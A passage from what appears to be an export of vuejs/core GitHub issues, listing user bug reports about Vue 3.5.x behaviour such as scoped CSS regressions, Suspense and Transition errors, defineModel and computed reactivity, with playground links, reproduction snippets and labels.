https://play.vuejs.org/#eNqdU8GO0zAQ/RXjS7tSSVQtcCjZSoBWAiSgYhEcMEJRM0mzOLZlO9miKGeOe+VT9of2wF8wttuQsm2l3Z46856f502eW/pCqaipgc5oYpa6VJYYsLWaM1FWSmpLWqIhJx3JtazICKmjHnolK7XpR7ErnNLo+Q4+3SFMtwwmllIYSypTkDN3w3j0GjiX5IvUPHs0OtkSpF2BXqQ6rQwSWyYIiWNye3Pz59e1K3hp7Ix8/TbZICh1e/17A6L67K44/px+x0QSB8/oFgsLleKpBawISVbTedv6+bouibHyXW+5eVzJDPgZowgzOk+8t72EwfjRfvL0gNzgwiHlkKCjJ/HAAp1Qa3CHeVlEl0YK/MJ+e4wukV5y0B+ULXHHjM7CXh2W4pqu3vqe1TX4rfozK1j+2NO/NGvXY3ShwYBugNEes6kuwAb4/OI9rPF/D6KfmiP7CPgRjOS1mzHQXtYiw7EHPD/tGx+2UhSfzPnagjBbU25Qx+w8n1GMntvUIev/xj2NnvhzmBHc4jbYx57IVWqXq51HghnfJNx9OIxuBnkp4J2rxq39qWBGLqzGsTvMIhNeYezJE9KkeGIeRnMqkkPEZTHG/gkKuxPHopuVjf9DSNt6xQ6tuDJc2/rrZR5GC1gSh0P/R6h/tA90r7RU7uEG9wtXjb0tf/fnlNf9HoKvezrzCsfsDQiHPH5vQLvQoMXT6Gk0fUa7v2TevNA=

### Steps to reproduce

查看复现路径

### What is expected?

使用第二种未解构ref，请问是设计如此还是是个bug呢？

### What is actually happening?

解构成统一的数据，如果不能这样写我就只好改了。。想定义一个常量之后只在这个常量里面增加变量。。不然一堆地方到处定义

### System Info

```shell
无
```

### Any additional comments?

_No response_",,2025-06-10T02:57:15Z,2025-06-10T03:10:36Z,2
vuejs/core,3130234045,`<slot>` in `<Suspense>` will cause an error,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqdVE2P0zAQ/Ssjc2gqLYnQAoeSrGjRHuAAiN0bQcgkk663qR3ZTrZV1f/O2E7SFpXycYns+fLMe/OyY/OmibsW2YylptCisVBzucxyZk3OwKBtm5tcinWjtIUdlFgJiXOzlcU7RUaJ0sIeKq3WMKE6kzH2Ho3t7XHiLu4ZcueyUJJcS7SHChlEdtvgDIzVQi6nkN3ALpcAogoeyLIMJvPJNJgBNHWm5dl+osjnhz4ien3un55OXebeff4leTEmU2qaBJAIErpYXDc1t0g3gNTN6E90HjzwjN7gbW0J0IZrviZQ+xiKKsb5Z8JQxDEkUQiP3fBTYiIZSienr3po6XhiZ1dEH8FciWX8aJQkdj1sOXNPihr1p8YKoiFnswHQnPG6Vk8fvM3qFq8Ge/GAxeqM/dFsnC1nnzUa1B3mbPRZrmma4L69+4gbOo/OtSrbmqIvOL+gUXXregxhi1aW1PZRnO/2vaeJNube3G4sSjMM5Rr1dPv4nBGHDtrfjX5o9zp+2a/JnlD0m3OkjaCHS1tQiq5nah74CYZf6fFb9Z+FF5cKD0r7W0FrrE70++agULd6hqRJIdFX0t430sDg42VJHu6kA0ExHkufEne8bjFuWvMQTRaToJyxqPstnMnkT1z4spGX6XEh8yAq68x/EOBdaxpaAYTueaW0m9j9OFQVitHwsxVue/Mow9TUivTnbKOrF1uaDBXD9UdrrZLwtqhFsXLBNArVcYinSXCeIeR7h9qtJRFyHb+KX7xm+5/cddJG

### Steps to reproduce

Click Test button in the playground link.

### What is expected?

Component A disappears and component B is displayed.

### What is actually happening?

```
TypeError: Cannot read properties of null (reading 'subTree')
    at move (runtime-dom.esm-browser.js:7867:28)
    at move (runtime-dom.esm-browser.js:7881:9)
    at Object.resolve (runtime-dom.esm-browser.js:9240:11)
    at unmountComponent (runtime-dom.esm-browser.js:8086:24)
    at unmount (runtime-dom.esm-browser.js:7955:7)
    at patch (runtime-dom.esm-browser.js:6776:7)
    at patchBlockChildren (runtime-dom.esm-browser.js:7179:7)
    at processFragmen... [TRUNCATED]","scope: suspense,:hammer: p3-minor-bug",2025-06-09T12:55:08Z,2025-08-20T14:11:17Z,1
vuejs/core,3128221422,Attaches scope CSS to wrong root in Iframe and Pop-up,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v2zAM/SuCTgmQ2tu67ZC5QffRw4ZhG7YCuwgYUpvO1NqSoA8nXeD/vicJTlu0jQ+GSD6Sj9TTnr83phgC8SWvXG2l8cyRD2YllOyNtp7tWW1p7QlANrLW6p4JjgzBD5CPujdTpCijFUtGgFBtULWXWjFtSP2WqtHb2ZzthWKs1sp5tpWKnaXoDBl8gRr5b7QJRvB5gk4UZrH6vOh1UH6G1KLRdehJ+eJKN7fAjg+atnbd01e9bmY0ADQ1frJaQhR+bTfkC3DzMD89rl6VeU/YEAxPvelQDBZj1VXwHl3P607WN2eC380s+CoacVpYVZmROSuSKPNRJsLsvANl5B/oI70qcxDAqrzXli+4d6Dbyk1x7bTCTaYhBa9RV3Zkv5u4Cyf4Mo8fY+uu09svyedtoMXkr/9SffOE/9rtok/wH5Yc2QG3e4jlleXwxa9vtMP5EOx1EzqgjwR/ktNdiBwz7ENQDWjfwyW2n5PYpNpcuosdLsdNQ0WiETkmfBJnXOlzo9/RPS1epzzcK7Y46fbYU7DUPnoEQmUh924DIQMBHV+SQwcI5phaGjmkQ/wqqUzwbDjBSqjD1aOa4CzLIgHMar9PPcaxKiMp+Mpc4oEeYDp/2xGDKAw1kX0qneZvIesTJ//Rkr16YXbvkqLN9Bw7bZcYoMluUI91ssT+DGTjwrGc0+JN8fItH/8DV3lwgw==

### Steps to reproduce

When [mounting](https://vuejs.org/api/application.html#app-mount) a Vue-App to an external document like an iframe or a popup window, all the functionality from JavaScript is working, but the [Style](https://vuejs.org/api/sfc-css-features.html) of a [Single-File Components](https://vuejs.org/guide/scaling-up/sfc.html) is attached to the calling document instead of the document of the mounted element.
```js
const win = open("""", """", ""popup"")
createApp(Comp).mount(win.document.body)
```



### What is expected?

The CSS should be attached to the _rootContainer's_ document of [mount()](https://vuejs.org/api/application.html#app-mount).

### What is actually happening?

The C... [TRUNCATED]",,2025-06-08T10:55:19Z,2025-06-10T06:54:51Z,1
vuejs/core,3126405373,Cannot use nominal/brand types in props,"### Vue version

3.5.15

### Link to minimal reproduction

https://play.vuejs.org/#eNqlkl1v0zAUhv/KkS8ISMXd1E1IIa1E0SSGBEyscIMRypLTkuHYlu2UVlH+O8d2m04T7IY7+3y85zkfPXtjDN92yHJWuMo2xoMs1WYumHeCgUPfmYVQTWu09dDDF4f2uoYB1la3kPHp0paqzl6PIR/2b3VrRnf6hgqZUEJVWjkPXRKZQ3Z+dpZB6Q6yQhXTBEEl6eOxNbL0GH6+SFLhKXweJF42NXEmMcGCY0qRxfRBGptQH1R03Wz4vdOK2uyFAhCsIq1Gov1kfENQguUQPcFXSql/v482bzucHO3VT6x+/cV+73bBJtiNRaLZomCjz5d2gz65r24/4o7eo7PVdScp+gnnZ3RadoExhS07VRP2g7hIex2n36jNyl3tPCp3bCqAhsghxgtGmwhj/FfrJ9wZv4h5Qg00xdMe//NSTldgrDaOjqDGdaPwJvyKA0faaT6exbB4/uLJ43iHNATo++NpDYT9+BBife4dNZAA7oKBAG737Z2WoYJQuIv4fm8QYkKxmsByQVEreHYck8Wy1kru4VuU+J7Dkhgfpx8GMD/oOG9pPRPIkj1LUD+2aMOuCGrGL/n5RbB593W0XvJXfMaGP6MxOio=

### Steps to reproduce

For some reason, the sfc playground always throws the error unless you're in `MyComp.vue`'s JS tab

![Image](https://github.com/user-attachments/assets/7cb2436d-7b24-4393-8de5-410be65d9161)

Switching between 3.5.14 and 3.5.15 show the type of `userId` prop change from `null` to `Object`

### What is expected?

No type errors

### What is actually happening?

The nominal type is treated as `Object` instead of a string primitive

```
Invalid prop: type check failed for prop ""userId"". Expected Object, got String with value ""100"".
 at <MyCompuser-id=""100"">
 at <Repl>
```

### System Info

```shell

```

### Any additional comments?

I'm aware TypeScript does not actually have nominal types and this is just a hack to fake it but I think this is a common enough usage in large c... [TRUNCATED]","scope: compiler,scope: sfc,:hammer: p3-minor-bug,regression",2025-06-07T04:00:56Z,2025-06-18T12:54:10Z,0
vuejs/core,3124741234,"Inconsistent excess property checking: ref<T>() errors, computed<T>() doesn't","### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqNkk1PwzAMhv+KlQubNG0HOO2jEqAdxmGgsWMupfW6jjaJEncrqvrfcVIoFQLELXltv34cpxG3xkzPFYq5WLrE5obAIVUGilhlKynISRFJlZdGW4IGEl2aijCdgMUDtHCwugQp2EGKhVRSzWawUYlWLneEigDrBJ0DY7VBS2+QHDF5zVU29wbLfTQaA1qrrZv03p2aanTqimQwI7jkdNxxy1WoayCegyPLRtBGo0Yq8IoURywKLcXECy9euGhbpEFoxwtgurXvNnS9/2jL1j3BN3/GWUXw3zZdn63uBpNqOetelt+RL4SlKWJCvgE0TT9Y2w6Ensmry9mgRkx4Jwx/yLPpyWnFiwtYUnj4vED7aCjn4aSYQ4j4WMy4l4egka0wcIcav40f9JOrvSbFk0WH9szb7WMU2wypC6+ft1jzuQ+WOq0Kzv4juEOni8ozdml3lUoZe5AXaDfhy/EC9m5d81dyn0N5UJ/Zhvzw9/xz/Tb6F+719CbU8Y5E+w7Z9P3w

### Steps to reproduce

```typescript
import { computed, ref } from ""vue"";

// Inconsistent excess property checking: ref<T>() errors, computed<T>() doesn't
const withRef = ref<{ a: string }>({
  a: ""hello"",
  b: ""world"", // Error
});
const withComputed = computed<{ a: string }>(() => ({
  a: ""hello"",
  b: ""world"", // No error
}));
```

### What is expected?

TypeScript should raise `Object literal may only specify known properties, and 'b' does not exist in type '{ a: string; }'. ts(2353)` for `withComputed`, as it does for `withRef`.

### What is actually happening?

TypeScript does not raise any error for `withComputed`, though it definitely should.

If, for some technical reason, type checking cannot be enforced with `computed` in the same way it is with `ref`, this behavior should be documented.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: types,upstream: typescript",2025-06-06T13:09:10Z,2025-06-10T01:06:31Z,2
vuejs/core,3113684138,$props overrides extended boolean props,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU9tu00AQ/ZVhhViQgqOqwENwUlFUCXiACpB4sYRce5xuWe+udtchkeV/Z2ZDUrdNL0/2XM5czpztxQfnslWHYibyUHnlIgSMnVsURrXO+ggfbet++dI59NB424LMpiMfg2Vh8ukWTTgyIrZOlxHJAsjHFabkyqejuJiIGCprGrXMroI1NEjPqEJUBFMa/TcXlTWhEDNIEY6VWtu/X5Iv+g4nO391idWfA/6rsGZfIc49BvQrLMQ+Fku/xLgNn/34imv63wdbW3eash8IfsdgdcczbtNOO1PT2KO8NO3nRKcyy5/hbB3RhN1SPChnDim/EEQoM3bf6tfjHmdvEq4wA7HImEOXBF2a5ZxwVOb6qnHjEPp03HNvXYBhf1wOBfmeD0l3CZHSoooaYQ6S8+UELqzVZPLkBJxDjY0ymAqla6e/xctXVOQhYVweLT7hZgJ9nxoMwzM45crR1uUGVKCt+9TqBCT3kjAD2ZQ6oByGfErwu2K6Jc2nscGgG+JOqk4U/M94MlU1btvR3ZiwkSnvZQpe3ASezCBET1IZHufQLfp+BGVe+PGSUnZPD1avL5SpaennjrsV4vAr5F2yGIgxXKedlYnom7LC0e5Jhula+yFpQEiKIA9/sDTkYkn+XqFnmVPJ4+xtdvRODP8ACEOEBA==

### Steps to reproduce

I create `Comp` with props of type `CompProps`.
```
// types.ts
export interface CompProps {
  title?: string;
  bool?: boolean;
}
```

```
// Comp.vue
<script setup lang=""ts"">
import type { CompProps } from './types';

const { title = 'Comp', bool = true } = defineProps<CompProps>();
</script>

<template>
  <h1>Hey, {{title}}! Bool today is: {{bool ? 'true' : 'false'}}</h1>
</template>
```

I create `CompWrapper` with props of type `CompProps & { description?: string }` and use `$props` in its template to pass props through it.
```
// CompWrapper.vue
<script setup lang=""ts"">
import Comp from './Comp.vue';

import { CompProps } from './types';

const { description = 'description'} = defineProps<CompProps & { descr... [TRUNCATED]",,2025-06-03T12:03:07Z,2025-06-03T13:54:06Z,2
vuejs/core,3112502375,"A component which is a memory leak will cause all components of the routing page to fail to be destroyed normally. If it is in a large component, it will cause serious performance problems‼️","### Vue version

3.5.14

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ufk2envs?file=src%2Fmain.vue

### Steps to reproduce

1. Click the ""EmptyPage"" button to enter the EmptyPage page, open the browser Memory panel and Performance monitoring panel Performance monitor, record memory snapshots and record DOM Nodes (Memory: 18.1MB, DOM Nodes: 53)
2. Click the ""TestElSelect"" button, enter the TestElSelect page, trigger the drop-down box of the Select component (you can trigger one or more, feel free), click the ""EmptyPage"" button, go back to the EmptyPage page, record a memory snapshot and record DOM Nodes (Memory: 20.9MB, DOM Nodes: 325)
3. Repeat the above operation several times and find that the memory and DOM Nodes have been increasing.
The above steps can prove that there is a memory leak in the el-select component ‼️
If a route page which useing a el-select component, it will cause all of the component from this page will not destroy. More and more DOM Node will stay in the memory‼️
4. Click the ""TestTable"" button to enter the TestTable page(which including el-select and el-table component), trigger the drop-down box of the Select component, open the browser Memory panel and Performance monitoring panel Performance monitor, record memory snapshots and record DOM Nodes.
5. Return to EmptyPage page, record memory snapshots again. You will find that the DOM Node of the el-table is not destroyed, and the memory is getting larger and larger.

![Imag... [TRUNCATED]",,2025-06-03T05:46:56Z,2025-06-03T08:55:20Z,4
vuejs/core,3109858532,Assigned model value is not available in line below,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVNtum0AQ/ZURimRHcaDOpQ8OsZpEeWiltlFatS9INYHB3mTZRbuL4wjx750FjMFxmlQKL8DMmbNzOTuFc5Fl7jJHZ+L4OlIsM6DR5BnwUMzPA8fowJkGAuhhaSaVgQIUJlBComQKAwodnPX8V5LeAoVpEK7XWuxBgzOLrSMiKTSdJ1O8xWQM55bZF3l6h2o63G9oe6CjHSDfqxOnNH2DacZDg03K/iYZwwxHKuh6FRIEYTyCR2YWsDxMZYw8cNZfE3vUV/v1K+S5DVknSBjvdeKjhpjSpIAX2Y7exnY8AiEhUzJr8L7XqdEZ0YCoQQmbu/daCppiYSkDJyJGxlF9zwyjBgbOBCqP9YWcy8cvlc2oHEdre7TA6GGH/V6vrC1wbhRqVEsMnNZnQjVHU7uvf3zDFX23Tupnzgn9D+ctaslzm2MNu8xFTGl3cFW2nyttMTH/qa9XBoVeF2UTtciywgcOKcw286XSN+keuydVXCBK6mJPou9wF2rR2rFpUmyMCRN4Y//8oprwBLRRVE650TlHA4zA4w/PhL/RT0tWmdprMOijBiMoCBbm3EyIr+xfJS6jsGXbvkw1MMlFZJsHi9CO44qz6GG4v25j1YCDg4Z0TSw5ulzOh7PhXlEV7laVlvtwiYlUCEt75AT2in6ybmUvZ+skX+e70JrNBXWvpiRG1g/fdQDVytr67ON58HuBAnJtmWa7YmawQEqcGUjDJ5oY45w6srQWDZLH9fnum/NODKr/acNmUm0Nu4KaCJJyZxXuWIYxW0LEQ61Jy1Go4lbNlXdxMi2Kev9AWfoe/Xe8d7kxpIdPkZUCxXeEQTTVu2qW79XIbmymcPrCSOjELYHbo23AVnxPtBTV+e9H+B6Vub0n6VebJyqMlmWGcQN1bRO6ok5pOzBhr0y26owhC+OYNDKB0575TqoYFaGzFRXBWQxzFT49AxyqMGa57kbXk7IJ1Tv8zxKV3Wi0eI7dU3f80Sn/Ai6dfKQ=

### Steps to reproduce

Make two components, parent & child. In the child component, use defineModel to define `someModelValue`. In the parent component use the child component and define a ref (called `someRef`). The ref is used in the parent on the v-model directive on the child component `v-mode:someModelValue=""someRef""`. In a function in the child component, update `modelValue.value` and, in the next line, r... [TRUNCATED]",,2025-06-02T11:52:23Z,2025-06-02T13:22:13Z,2
vuejs/core,3096827640,Vue 3.5.15 changed CSS semantics when using CSS nesting and the `>` operator,"### Vue version

3.5.15

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UctOwzAQ/BXLR1RSodJLCZEA9VAOgICjJZQ62zSt47X8CEVV/521Q0oPVX2w1jOj2dn1nj8Yk3UB+IznHlqjSg+F0IzlVdMxqUrn7gVfIQpOsPDCR6JYMLfGoCq2BLZUAfJxRKNgqPLxiR09nf9RwJxEA1USZmTK9r1nwa6GUvhlKbe1xaCra4kK7Sx1uOvpQ8xGVz5OhgUfcU+metXU2cahpjnIiDHBJbamUWBfjW9QO8FnsQWjI3ipFH4/J8zbAKMBl2uQ2zP4xu0iJvibBQe2A8GPnC9tDb6n5x8vsKP6SLZYBUXqC+Q7OFQhZuxljzQ4xT7RpbSL1qD1ja4/3XznQbthqBg0LSXpBafPfLow+n/cSXb7t8wDbfGrAxs9aYGTbJrdTPnhF3n+tDs=

### Steps to reproduce

In the reproduction, toggle between 3.5.14 and 3.5.15 to see the different behavior.

### What is expected?

The div should have a blue background

### What is actually happening?

The div doesn't have a background applied.

### System Info

```shell

```

### Any additional comments?

When the following CSS is written:

```html
<style scoped>
	.class {
		> * {
			background-color: blue;
		}
  }
</style>
```

It used to be compiled to the following, in Vue 3.5.14:

```css
.class {
> *[data-v-7ba5bd90] {
			background-color: blue;
}
}
```

In Vue 3.5.15, it is compiled to this instead:

```css
.class {
[data-v-7ba5bd90]> [data-v-7ba5bd90] {
			background-color: blue;
}
}
```

In practice, this results in two problems:
- It means this generated CSS expects one or more elements between the `.class` and `div` (`.class
[data-v-7ba5bd90] > [data-v-7ba5bd90]` instead of `.class > [data-v-7ba5bd90]`).
- It causes a regression in specificity. Before, it had a specificity of `0-... [TRUNCATED]",,2025-05-28T10:15:55Z,2025-05-28T12:42:08Z,2
vuejs/core,3096489548,"With Vue 3.5.15, bootstrap5 and sass, grid system does not work properly","### Vue version

3.5.15

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-r6jsnytm?file=src%2Fmain.js,src%2Fcomponents%2FHelloWorld.vue

### Steps to reproduce

<div class=""row"">
  <div class=""col-4"">COL-4</div>
  <div class=""col-8"">COL-8</div>
</div>

### What is expected?

Expected to see a single row with 2 columns: the first one half the size of the second one.

### What is actually happening?

Seeing 2 rows, one for each column, bot full size.

### System Info

```shell
System:
    OS: Linux 6.14 Arch Linux
    CPU: (20) x64 Intel(R) Core(TM) i9-10900K CPU @ 3.70GHz
    Memory: 20.87 GB / 31.09 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 22.16.0 - /var/lib/snapd/snap/bin/node
    Yarn: 1.22.22 - /var/lib/snapd/snap/bin/yarn
    npm: 11.4.1 - /usr/local/bin/npm
  Browsers:
    Chromium: 136.0.7103.113
  npmPackages:
    vue: ^3.5.15 => 3.5.15
```

### Any additional comments?

With Vue version 3.5.14 everything is OK","scope: sfc,has workaround,:hammer: p3-minor-bug",2025-05-28T08:21:22Z,2025-05-29T00:22:24Z,3
vuejs/core,3095299179,SSR hydration fails with `<Transition appear>` and empty content,"### Vue version

3.5.15 (older versions seem to have the same problem too)

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9kD1vwyAQhv8Kujmyh3aKrEptlaEd2qrNyIKcq0OCAXFHYinyfw/gfA1RNvQ+z8HLHeDV+2oXEebQMPbeKMYXaYVolkFZ0qydFcp7VKHECZBxLOpJqq9WCpr65gqYAVPr7L/uqg05m1445BkJreu9Nhi+fZ4jCXNRSGbKGLf/LBmHiLNz3q6x3d7JNzTkTMJPQMKwQwkXxip0yBNe/H3hkM4X2LtVNMl+AH+RnIm546S9RbtKtW+80vaj9y6wtt2SFgNjWsfpU7loNsfiS0hrfn/w9Wvdp+q5zEk7wngEt2yIww==

### Steps to reproduce

Just open the Playground.

### What is expected?

No error, successful hydration.

### What is actually happening?

An error is thrown.

> Failed to execute 'replaceChild' on 'Node': parameter 1 is not of type 'Node'.

### Any additional comments?

I confirmed this also fails in Nuxt, not just in the Playground.

Without the `appear` prop there's still a hydration problem, but not the explosive error.

The `<slot />` isn't required, it also fails if the `<Transition>` has no content, but I think a `<slot />` is more realistic.","scope: transition,:hammer: p3-minor-bug,scope:hydration",2025-05-27T21:36:53Z,2025-07-23T00:42:35Z,0
vuejs/core,3094429839,Code injection static code analysis bugfix.,"### Vue version

3.5.15

### Link to minimal reproduction

Not applicable. Present in code

### Steps to reproduce

Present in code

### What is expected?

Currently the code is vulnerable and should be patched

### What is actually happening?

There is a potential security risk associated with code injection. This is also raised by Code scanning and I have verified the risk associated.

<img width=""884"" alt=""Image"" src=""https://github.com/user-attachments/assets/9e00f245-8f65-4f1d-bf04-76bd971aaf45"" />

### System Info

```shell
Present in code
```

### Any additional comments?

NA",,2025-05-27T15:54:55Z,2025-05-28T00:00:31Z,0
vuejs/core,3092761705,"When the parent component passes the computed value, the child component receives it using defineModel and no rendering is triggered","### Vue version

3.5.15

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUsuO2zAM/BVClzjAVkGw3UvqBGiLHFqgD7Q9CihUh/Z6K0uGHt4Ahv+9pPLYZNFtTzY5Q2pIzije9r0cEoqVKEPl2z5CwJj6jbJt1zsfYQSPNUxQe9fBjKizM/Tedf0xLxcccKcneISKcini7qr8jbLKVs6GCK2tHazPtKKYw3oDxagsgF7BUtlpPr+mL4lPgoqR8YnAcnHQTYopiNj1RkekCKDMAodXnduhWXH1Wgn+KAELYpSLC7q4ETHQO3XbyIfgLG0k61CC5bUG/Zc+tqRDiRVkhDFtjHv8mHPRJ7w55at7rH7/Jf8Q9pxT4qvHgH5AJc5Y1L7BeIC33z/jnv7PIM2QDLH/AX7D4ExijQfau2R3JPuCl9V+yNdpbfMjbPcRbTgNxUKZOWW+EnQsXuBLoz/JvZWvcx2di7Z4MsJzS4HRtqEDRGpzaa9HHav7bV1jFZ/75MolO6xbi5/4liVf36buF/ppU8yYMCMrXHQ6WimL5S7OoDSuKZgqB20SSk0V/zHQOGa+nmg0slNryaYnPx2tJPULZvo5oOfV0hpu5Z1c3onpD2zLJtg=

### Steps to reproduce

Enter data in the input box, the data is not updated. If the data is bound to info1, the data will be updated.

### What is expected?

When the parent component is bound to a computed value, the child component can still trigger responsive data updates. Binding info and info1 should have the same result.

### What is actually happening?

When the parent component is bound to the info computed value, the responsive data is not updated when the child component is entered in the input box.
When bound to info1, the responsive data is updated

### System Info

```shell
System:
    OS: macOS 13.4.1
    CPU: (10) arm64 Apple M1 Pro
    Memory: 44.64 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 18.20.5 - ~/Library/pnpm/node
    npm: 10.8.2 - ~/Library/pnpm/npm
    pnpm: 9.15.3 - ~/Library/pnpm/p... [TRUNCATED]",,2025-05-27T06:36:25Z,2025-05-27T07:01:08Z,3
vuejs/core,3092695258,CSS direct descendant wildcard rule no longer applied to child components,"### Vue version

3.5.15

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Um1LwzAQ/ishIIK4dnPuSx0DlYEKvqB+DEhtb122NglJunWM/XcvyTo7USEf7u65lyd3z5ZeKxWtaqAJHZtMc2WJAVurCRO8UlJb8ri5lWgJEJbMtKzIaRR3Yq74lIlxHKqxDh0LlSpTC+gRMq5SLryFdrdbHOB4j4/jThm6xm5KICaTCnKMuCyydRU5N5i2ScishObKRZzRy7mGzHIpEpLJsq6Ehz7TbFloWYs8IRsoS7kuNEDA1jy384QM+v0T70/IWZhASJU2vT180e+rMKbbrYczpG57enjHBD7chCOOjOk5tUhfzHgRLYwUuGPfndEMd8BL0M/K8TWMJu1cRlPX78HHrK7hvI1nc8iWv8QXpnExRl80GNArYPSA2VQXYAM8fXuCBu0DWMm8LjH7H/AVDG7ScQxpN/hxpN3J82zvvVK4KN7NtLEgTPspR9Rvxuczilpx5//r6990h9Flu1Hc4g+5Oa0eKyznq73A7tw59kcJ6grYkbiw5ccKtKOJvYbRKBqM6O4Lhn0ERA==

### Steps to reproduce

The Vue issue helper doesn't seem to create issues, so I have to fill this form manually.

**Steps to reproduce:**

Create a component with a scoped style block having a CSS rule affecting its direct descendants with a wildcard rule, such as:
```
> * {
  max-width: 200px;
}
```

### What is expected?

CSS rule is applied to children, as it does in 3.5.14.

### What is actually happening?

CSS rule is not applied to children after 3.5.15. If I remove the direct descendant arrow, or replace the wildcard with div, the example works again.

### System Info

```shell

```

### Any additional comments?

If this is by design, then my own interpretation is flawed, apologies in advance.","scope: compiler,has workaround,:hammer: p3-minor-bug",2025-05-27T06:05:22Z,2025-05-29T00:22:04Z,4
vuejs/core,3092047540,Reactive Props Destructure bug,"### Vue version

3.5.15

### Link to minimal reproduction

https://play.vuejs.org/#eNqlVFtv0zAY/SvGL0lRSTWNvXTt0ECTACGYBhIPGKE0+dJ6OHbwpWtV5b/z2bk0GaMve2gV+7udc3zsA72uqmTrgM7pwmSaV5YYsK66YpKXldKWHIiGYpqpsnIWclKTQquSRFgT9TnZhov8rI0ks2bp20aXTDKZKWks4eYO/jiuscnS94yLVBiYYEYTF+kKxLtuzpJ0I+N4srwi8bE82abCwYS8icp9U0VeRmRO+mU06XqWZt0Oi96DEIp8V1rkL3zCYtbwRaa4sFBWIrWAK0IWXOJkYvcVLBnNNpD9Xqkdo2T7qlQ5CNw8omG0qWk1mAcEmDGig7UzTFvMBnPolFqDMAu+Tu6NkngEB98JJ2IVF6C/VJYjDUbnJER8LEUWDx/DntUOpt1+QPnE/r1B4HP8uNVgQG+B0T5mU70G24Rvvn6GHX73QWTqBGafCN6BUcJ5jE3aWydzhD3IC2g/BJNwuf5mbnYWpOlIeaA+sw75jKJhvGD/o36Ee568DnVM1qji0W4nXPyQ2mxzUxSQ2WlvraGZ0YdtrjNwLfd2g4h7Sw/2fGbjrkM44xodlkPBJdxqVZn4R9SY8Ke3NpODwehkglYOhHwHJSARah2jnVCUHAga2ENTEmR7H/DWoH3TzPJwcs2mb1z3Hu/IfAr5o3vjp/UVAwpx2DzqEEobuCeuxaHli7I/NvKgd2INHkP/eAzoj96OS6ZxAv5gFzJRwdQJSwonkaySw1N4Gi7qiOVkOKEXOATGIkePNDbpSsC/IkdHjUOTuvt43pzxIY3njWLt4zaeXvs/lPnXFrS/PSjweXKRnF3Q+i8gTfvU

### Steps to reproduce

everything is simple and in the demo. 

You first created a computed value in a component pass it down to a child in props. Deconstruct props and its still reactive. Pass it to a composable and it lose its reactivity. Case shown with a new computed and the prop directly

### What is expected?

The goal of a composable is to keep reactivity and do reuasable logics so its mean it should work as intented i think

### What is actually happening?

prop lose reactivity in composable

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-05-26T20:58:37Z,2025-05-26T23:56:32Z,2
vuejs/core,3081954127,"computed 监听不到数组使用push,但是computed对应值会发生变化","### Vue version

3.5.14

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U0uO00AQvUqpN3YkyybMsAlOxEezAImPgB2NkLErjmfabau7nYlkeY3EBnEBhDgBl8o9qG7HHwKMLPlT7736vGq37HFdh/sG2YrFOlVFbUCjaeoNl0VZV8pACwq3AaRVWTcGswBuE5PuoIOtqkrwSOs95JLLtJLaQKlzWFuF/95begF4970PiwEUBd1O6BRNsoyC/gLWG2i5BJsj3CeiwbBu9M6nPMTtphoZiv8IKDyJtShS9O8Fyz/VOZoXrslhIn+WyVIqgaGoct8bCLY8uOb/bgtoGtMoOdWlYhS3lzPKt5y+wkgJppirelbX6frknaOeSBlivQKjTgkstnDWcxlH/fJobfRhsKxFYpC+AOLdctO2w9hdN84dR4TMGHZ1BLvq55jbHIH2OWGfGmMqCY9ScvpmzRltkrMNHH9+P375EUc9fKKq6PzlTExbdeLPX4+/vs3EcTQbhwXMaDJrW+Thta4kHVtnDmd2qkKgelWbgszkbDXYRn0JUd0+d7HRPafZYXrzj/i1PtgYZ68ValR75GzETKLIyh6+evsSD/Q+gmWVNYLYd4BvkBbd2B572pNGZtT2jOe6feZ+vkLm7/TVwaDUw1C20elkcEb/39M7Rp/avQgvnY7OJ7n4cY/K5iQDL8IH4fKSdb8BBtpWsg==

```
### Steps to reproduce

<script setup>
import { ref, computed, watch } from 'vue';

const msg = ref(['1', '2'])
const list = ref([])
const add = () => {
  msg.value.push('1')
}

const del = () => {
  msg.value = msg.value.slice(0,1)
}

const getMsg = computed(() => {
  console.log('computed')
  list.value.push('1')
  return msg.value
})


watch(
  () => msg.value,
  () => {
    console.log('watch')
  },
  {
    deep: true,
  },
);


</script>

<template>
  <h1>{{ getMsg }} computed</h1>
  <h1>{{ msg }} watch</h1>
  <h1>{{ list }} list</h1>
  <button @click=""add""> 增加</button>
  <br/>
  <br/>
  <button @click=""del""> 减少</button>
</template>

```

### What is expected?

add方法触发时,  console.log('computed')应该也触发

### What is actually happen... [TRUNCATED]",,2025-05-22T03:50:53Z,2025-05-22T04:04:43Z,0
vuejs/core,3079137679,Bug: @vue/compiler-sfc template loc wrong,"### Vue version

late^3.5.14

### Link to minimal reproduction

https://github.com/Simon-He95/vue-compiler-sfc-bug

### Steps to reproduce

npm run test

### What is expected?

test pass

### What is actually happening?

test wrong

### System Info

```shell

```

### Any additional comments?

_No response_","scope: compiler,🔩 p2-edge-case",2025-05-21T06:52:54Z,2025-06-05T01:39:07Z,4
vuejs/core,3070774361,Teleport defer causes infinite recursion,"### Vue version

3.5.14

### Link to minimal reproduction

